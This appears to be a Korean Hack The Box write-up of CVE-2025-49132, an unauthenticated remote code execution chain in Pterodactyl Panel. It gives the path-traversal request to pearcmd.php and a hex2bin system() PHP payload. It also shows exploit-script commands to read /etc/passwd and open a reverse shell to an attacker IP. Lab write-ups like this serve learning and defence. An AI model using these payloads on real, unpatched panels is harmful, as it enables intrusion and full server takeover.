CVE-2025-49132 - Pterodactyl 패널 RCE 익스플로잇

HTB 시즌 10 - Pterodactyl 머신 Writeup

개요

대상: Pterodactyl HTB 머신 (중간 난이도)
CVE: CVE-2025-49132
심각도: 치명적 (CVSS 9.8)
공격 유형: 인증되지 않은 원격 코드 실행
영향받는 버전: Pterodactyl Panel < v1.11.11

이 익스플로잇 체인은 다음을 결합합니다:

1. 경로 탐색 - 로케일 번역 시스템
2. PEAR 명령어 주입 - pearcmd.php를 통해
3. PHP 코드 실행 - 파일 쓰기 + include를 통해

버그

Pterodactyl 패널의 /locales/locale.json 엔드포인트는 locale 매개변수를 통해 경로 탐색을 허용합니다:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

이는 PEAR의 pearcmd.php와 연결하여 다음을 수행할 수 있습니다:

1. 임의의 PHP 파일을 /tmp에 작성
2. 다른 요청을 통해 실행

작동 원리

PEAR (PHP Extension and Application Repository) 는 다음을 수행하는 CLI 도구(pearcmd.php)를 가지고 있습니다:

• URL 매개변수를 통해 명령어를 수락 (CLI 전용으로 설계됨)
• 파일을 쓰는 config-create 명령어가 있음
• 웹을 통해 호출될 때 인증이 없음

익스플로잇 체인:

경로 탐색 → pearcmd.php 로드 → config-create를 통해 PHP 주입 → 악성 PHP 실행

Hex2bin() 트릭

명령어는 hex2bin()을 사용하여 16진수로 인코딩되어 우회합니다:

• URL 인코딩 문제
• 특수 문자 필터
• Nginx/PHP 파싱 문제

예시:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

원격 코드 실행

방법: 제공된 exploit.sh 사용

chmod +x exploit.sh

# Get user flag
./exploit.sh flag

# Execute commands
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Reverse shell
nc -lvnp 4444  # On attacker machine
./exploit.sh shell 10.10.14.21 4444

참고 자료

CVE 및 익스플로잇

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

기술 자료

• Pterodactyl 패널 문서
• PEAR 문서
• OWASP 경로 탐색